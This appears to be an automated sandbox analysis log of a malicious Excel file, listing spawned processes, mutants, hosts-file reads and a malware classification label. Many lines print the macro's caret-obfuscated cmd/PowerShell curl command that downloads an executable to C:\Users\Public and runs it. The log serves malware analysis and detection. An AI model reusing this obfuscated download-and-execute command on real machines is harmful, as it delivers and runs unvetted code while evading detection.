Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: unknown unknownJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{7C6A95E4-A6BD-4C5E-A36F-A3984EC465B3} - OProcSessId.datJump to behavior
Source: classification engineClassification label: mal76.expl.evad.winXLS@165/50@24/2
Source: C:\Users\Public\pin77.exeCode function: 12_2_00314230 CoCreateInstance,12_2_00314230
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\Public\pin77.exeCode function: 12_2_0032CC90 FormatMessageA,_strlen,GetLastError,12_2_0032CC90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: 827837hj.xlsOLE indicator, Workbook stream: true
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1768:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6012:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1552:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:664:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4496:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:648:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3660:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1672:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:64:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5888:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3108:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5252:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4488:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1668:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5544:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5828:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5600:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4556:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5680:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6092:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3788:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1296:120:WilError_01
Source: C:\Users\Public\pin77.exeCode function: 12_2_002FB1F0 FindResourceA,12_2_002FB1F0
Source: pin77.exeString found in binary or memory: config-serial-stopbits
Source: pin77.exeString found in binary or memory: source-address
Source: pin77.exeString found in binary or memory: config-address-family
Source: pin77.exeString found in binary or memory: config-ssh-portfwd-address-family
Source: pin77.exeString found in binary or memory: config-serial-stopbits
Source: pin77.exeString found in binary or memory: source-address
Source: pin77.exeString found in binary or memory: config-address-family
Source: pin77.exeString found in binary or memory: config-ssh-portfwd-address-family
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
